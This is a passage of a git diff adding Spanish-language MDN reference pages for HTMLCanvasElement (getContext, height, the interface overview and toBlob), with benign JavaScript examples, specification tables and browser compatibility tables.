+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>Ahora tienes el <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">contexto de renderizado 2D</a> para un canvas y puedes dibujar en él.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde el último snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot del {{SpecName('HTML WHATWG')}} que contiene la definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(9)}}</td>
+   <td>{{CompatSafari(3.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatChrome(9)}}<sup>[1]</sup><br>
+    {{CompatChrome(33)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop('24')}}</td>
+   <td>11.0<sup>[2]</sup></td>
+   <td>9.0<sup>[3]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop('25')}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>failIfMajorPerformanceCaveat</code> attribute</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2d</code> context)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>webgl2</code> context {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>2d <code>alpha</code> context attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(30)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>failIfMajorPerformanceCaveat</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>bitmaprenderer context</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 9 y Gecko 1.9.2 inicialmente implementaron esta como <code>experimental-webgl</code>. A partir de Chrome 33 y Gecko 24 es implementado como <code>webgl </code>estándar.</p>
+
+<p>[2] Internet Explorer 11, WebKit 5.1 y Firefox Mobile implementaron esto como  <code>experimental-webgl</code>.</p>
+
+<p>[3] Opera 9 implementó esto como <code>experimental-webgl</code>, behind a user preference, in version 15.0 the user preference got removed.</p>
+
+<p>[4] Gecko 25 implements this as "<code>experimental-webgl2</code>" behind the user preference <code>webgl.enable-prototype-webgl2</code>. Starting with Gecko 42, the string "webgl2" is used behind the same preference.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>Available rendering contexts: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} and {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlcanvaselement/height/index.html b/files/es/web/api/htmlcanvaselement/height/index.html
new file mode 100644
index 0000000000..0d2fa7f2e2
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/height/index.html
@@ -0,0 +1,121 @@
+---
+title: HTMLCanvasElement.height
+slug: Web/API/HTMLCanvasElement/height
+tags:
+  - Propiedad
+translation_of: Web/API/HTMLCanvasElement/height
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>La propiedad <strong><code><span>HTMLCanvasElement.height es un entero positivo que refleja el atributo </span></code></strong>{{htmlattrxref("height", "canvas")}} del elemento {{HTMLElement("canvas")}}  interpretado en pixeles CSS. Cuando el atributo no esta especificado o esta puesto en un valor invalido(ej. Número negativo), es usado el valor por defecto de 150.</p>
+
+<p>Esta es una de de las dos propiedades que controlan el tamaño del canvas, siendo la otra {{domxref("HTMLCanvasElement.width")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.height;
+<em>canvas</em>.height = <em>pxl</em>;
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Dado el siguiente elemento {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Puedes obtener la altura del canvas con el siguiente codigo:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+console.log(canvas.height); // 300
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No hay cambios desde la ultima foto {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Foto que contiene la definición inicial {{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatChrome(4) }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatOpera(9) }}</td>
+   <td>{{ CompatSafari(3.1) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li>La interfaz que lo define, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>La otra propiedad que controla el tamaño del canvas, {{domxref("HTMLCanvasElement.width")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlcanvaselement/index.html b/files/es/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..07a570f193
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,249 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p>La interfaz <strong><code><span>HTMLCanvasElement</span></code></strong> provee propiedades y métodos para manipular la capa de presentación de los elementos de tipo canvas. La interfaz <code>HTMLCanvasElement</code> también hereda las propiedades y métodos de la interfaz {{domxref("HTMLElement")}} .</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda propiedades de la interfaz padre, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Un entero positivo que se asocia al atributo HTML {{htmlattrxref("height", "canvas")}} del elemento {{HTMLElement("canvas")}} interpretada en píxeles CSS. Cuando el atributo no está especificado, o si este se inicializa a un valor inválido, como un negativo, el valor 150 es usado por defecto.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} asociado al atributo HTML {{htmlattrxref("moz-opaque", "canvas")}} del elemento {{HTMLElement("canvas")}} . Proporciona al canvas una forma de saber si  la transparencia será considerada un factor. Si el canvas conoce que no hay transparencia, el desempeño de renderezación será optimizado.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Un entero positivo asociado al atributo HTML {{htmlattrxref("width", "canvas")}} del elemento canvas {{HTMLElement("canvas")}} interpretado en píxeles CSS. Cuando el atributo no está especificado, o si se inicializa a un valor inválido, como un negativo, se utiliza el valor 300 por defecto.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Herada métodos de la interfaz padre, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Retorna un {{domxref("CanvasCaptureMediaStream")}} que es una captura de video en tiempo real, de la superficie del canvas.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Retorna el contexto del dibujado del canvas, o bien null(nulo) si el ID de contexto no está soportado. Un contexto de dibujo, te permite dibujar sobre el canvas. Llamando al método getContext con el parámetro <code>"2d"</code> retorna un objeto {{domxref("CanvasRenderingContext2D")}} , mientras que el llamarlo con el parámetroca <code>"experimental-webgl"</code> (o <code>"webgl"</code>) retorna un objeto {{domxref("WebGLRenderingContext")}} . Este tipo de contexto sólo está disponible en navegadores que implementen <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Retorna una data-URL conteniendo una representación de la imagen en el formato especificado por el tipo de parámetro(png por defecto). La imagen de retorno se encuentra a una resolución de 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Crea un objeto {{domxref("Blob")}} representando la imagen contenida en el canvas; este archivo puede ser cacheado en disco o bien almacenado en memoria, lo cual dependerá del "user-agent"(especificación del navegador).</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Retorna un objeto {{domxref("File")}} representando una imagen contenida en el canvas; este archivo es del tipo memory-based, con su nombre especificado. Si el tipo no se especifica, el tipo usado por defecto es <code>image/png</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozFetchAsStream()")}} {{non-standard_inline}}</dt>
+ <dd>Crea un nuevo flujo de entrada, el cual una vez listo, proveerá los contenidos del canvas como datos de imagen. Cuando el nuevo flujo está listo, la retrollamada específica el método {{ifmethod("nsIInputStreamCallback", "onInputStreamReady")}} es invocada. Si no se especifica el tipo, el tipo de imagen por defecto es <code>image/png.</code>
+ <div class="note"><strong>Nota:</strong> Sólo puede ser invocado desde Chrome.</div>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Añade el método  <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>El método <code>getContext()</code>ahora retorna un objeto {{domxref("RenderingContext")}} en vez de un objeto opaco.<br>
+    Los métodos  <code>probablySupportsContext()</code>, <code>setContext()</code> y <code>transferControlToProxy() han sido añadidos</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>9.0 as <code>experimental-webgl</code><br>
+    ~33 as <code>webgl</code></td>
+   <td>{{CompatGeckoDesktop('1.9.2')}} as <code>experimental-webgl</code><br>
+    {{CompatGeckoDesktop('24')}} as <code>webgl</code></td>
+   <td>11.0 as <code>experimental-webgl</code></td>
+   <td>9.0 as <code>experimental-webgl</code>, behind a user pref.<br>
+    15.0 as <code>experimental-webgl</code></td>
+   <td>5.1 as <code>experimental-webgl</code><br>
+    ~8.0 as <code>webgl</code></td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozFetchAsStream()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('13')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozFetchAsStream()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('13')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 y posteriores poseen soporte parcial.</p>
+
+<p>[2] Soporte para un tercer parámetro, ha sido añadido sólo en Gecko 25: cuando se utiliza con el tipo <code>"image/jpeg"</code>, este argumento especifica la calida de imagen.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Elementos HTML implementando esta interfaz: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlcanvaselement/toblob/index.html b/files/es/web/api/htmlcanvaselement/toblob/index.html
new file mode 100644
index 0000000000..4759cd6250
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/toblob/index.html
@@ -0,0 +1,261 @@
+---
+title: HTMLCanvasElement.toBlob()
+slug: Web/API/HTMLCanvasElement/toBlob
+translation_of: Web/API/HTMLCanvasElement/toBlob
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>EL metodo <strong><code>HTMLCanvasElement.toBlob()</code></strong> crea un objeto {{domxref("Blob")}} que representa la imagen contenida en el canvas; este archivo puede ser cacheado en el disco oo guardado en la memoria a desicion del  user agent. Si la propiedad <code>type</code> no se especifica el tipo de la imagen será <code>image/png</code>. La imagen creada tiene una resolución de 96dpi.<br>
+ El tercer argumento es usado con las imagenes  <code>image/jpeg</code> para especificar la calidad de salida.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>void <em>canvas</em>.toBlob(<em>callback</em>, <em>type</em>, <em>encoderOptions</em>);</var>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>A callback function with the resulting {{domxref("Blob")}} object as a single argument.</dd>
+ <dt><code>type</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("DOMString")}} indicating the image format. The default type is <code>image/png</code>.</dd>
+ <dt><code>encoderOptions</code> {{optional_inline}}</dt>
+ <dd>A {{jsxref("Number")}} between <code>0</code> and <code>1</code> indicating image quality if the requested type is <code>image/jpeg </code>or <code>image/webp</code>. If this argument is anything else, the default value for image quality is used. Other arguments are ignored.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Getting_a_file_representing_the_canvas">Getting a file representing the canvas</h3>
+
+<p>Once you have drawn content into a canvas, you can convert it into a file of any supported image format. The code snippet below, for example, takes the image in the {{HTMLElement("canvas")}} element whose ID is "canvas", obtains a copy of it as a PNG image, then appends a new {{HTMLElement("img")}} element to the document, whose source image is the one created using the canvas.</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement("img"),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // no longer need to read the blob so it's revoked
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+</pre>
+
+<p>Note that here we're creating a PNG image; if you add a second parameter to the <code>toBlob()</code> call, you can specify the image type. For example, to get the image in JPEG format:</p>
+
+<pre class="brush: js"> canvas.toBlob(function(blob){...}, "image/jpeg", 0.95); // JPEG at 95% quality</pre>
+
+<div>
+<h3 id="A_way_to_convert_a_canvas_to_an_ico_(Mozilla_only)">A way to convert a canvas to an ico (Mozilla only)</h3>
+
+<p>This uses <code>-moz-parse</code> to convert the canvas to ico. Windows XP doesn't support converting from PNG to ico, so it uses bmp instead. A download link is created by setting the download attribute. The value of the download attribute is the name it will use as the file name.</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var d = canvas.width;
+ctx = canvas.getContext("2d");
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = "yellow";
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement("a");
+    a.textContent = "Download";
+    document.body.appendChild(a);
+    a.style.display = "block";
+    a.download = iconName + ".ico";
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+</div>
+
+<h3 id="Save_toBlob_to_disk_with_OS.File_(chromeadd-on_context_only)">Save toBlob to disk with OS.File (chrome/add-on context only)</h3>
+
+<div class="note">
+<p>This technique saves it to the desktop and is only useful in Firefox chrome context or add-on code as OS APIs are not present on web sites.</p>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var d = canvas.width;
+ctx = canvas.getContext("2d");
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = "yellow";
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>A low performance polyfill based on toDataURL.</p>
+
+<pre class="brush: js">if (!HTMLCanvasElement.prototype.toBlob) {
+ Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+  value: function (callback, type, quality) {
+
+    var binStr = atob( this.toDataURL(type, quality).split(',')[1] ),
+        len = binStr.length,
+        arr = new Uint8Array(len);
+
+    for (var i=0; i&lt;len; i++ ) {
+     arr[i] = binStr.charCodeAt(i);
+    }
+
+    callback( new Blob( [arr], {type: type || 'image/png'} ) );
+  }
+ });
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
